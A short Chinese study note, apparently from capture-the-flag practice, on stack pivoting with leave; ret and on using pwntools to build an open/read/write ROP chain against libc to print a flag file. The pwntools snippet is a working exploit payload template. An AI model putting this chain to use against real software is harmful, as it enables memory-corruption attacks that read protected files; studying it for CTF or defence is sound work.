flag
read 的参数 rd: 0, wr: 1, rdwr:2
栈迁移
栈迁移的思路大概是:
如果需要读取内容到地址 addr。给 rbp 赋值 addr - 8。往 rbp 读入 rop_chain,最后 leave ret。
leave ret =
mov rsp, rbp
pop rbp
pop rip
pwntools 的 ROP 类
libc = ELF(libc_path)
libc.address = addr - libc.symbols["setvbuf"]
rop = ROP(libc)
rop.read(0, 0x404200, 4)
rop.open(0x404200, 0)
rop.read(3, 0x404208, 60)
rop.write(1, 0x404208, 60)
payload = rop.chain()